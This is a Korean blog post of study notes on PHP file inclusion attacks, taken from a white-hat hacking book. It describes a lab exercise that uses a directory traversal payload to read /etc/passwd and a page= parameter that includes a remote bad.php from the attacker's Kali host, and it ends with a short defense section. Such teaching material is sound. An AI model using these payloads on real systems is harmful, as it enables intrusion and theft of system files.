Chapter 11. 파일 인클루전 공격
파일 인클루전 공격 개요
- 주로 PHP 애플리케이션을 대상으로 발생, PHP의 인클루드 기능(include() 함수를 사용하여 다른 파일을 소스 코드에 직접 인클루드시킬 수 있는 기능)
- 호스트 내부의 파일이냐 외부 파일이냐에 따라 리모트 파일 인클루전 or 리모트 파일 인클루전으로 구분
- ../../../../../etc/passwd와 같이 여러 번 입력하여 루트 디렉토리까지 이동 가능 -> 디렉터리 트래버셜 공격
파일 인클루전 공격 실습
- bad.php 파일을 /var/www/html로 이동
- low 단계에서 file1.php를 클릭하면 url에서 page=include.php 부분을 확인할 수 있음
- 파일의 경로가 파라미터를 통해 전달되면 파일 인클루전 공격이나 디렉터리 트래버셜 공격을 시도해볼 수 있음
page=http://<칼리리눅스 ip>/bad.php |
- bad.php 파일이 인클루드되어 실행됨 + /etc/passwd의 내용이 출력됨
- ../../../../../를 입력한 이유는 파일 인클루전 실습 페이지의 호스트 내 경로이기 때문임 어쨌든 passwd 파일 내용 출력됨
파일 인클루전 공격 대응
- 외부 사용자가 입력한 파일 이름을 인클루드에 사용하지 않는 것인데 쓸 경우에는 입력 값을 검증해야 함
해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.
'보안' 카테고리의 다른 글
Chapter 13. 민감한 데이터 노출 (0) | 2019.03.04 |
---|---|
Chapter 12. 파일 업로드 공격 (0) | 2019.03.03 |
Chapter 10. XSS 요청 변조(CSRF) 공격 (0) | 2019.03.01 |
Chapter 09. XSS 공격 (0) | 2019.03.01 |
Chapter 08. Command 인젝션 공격 (0) | 2019.02.28 |
댓글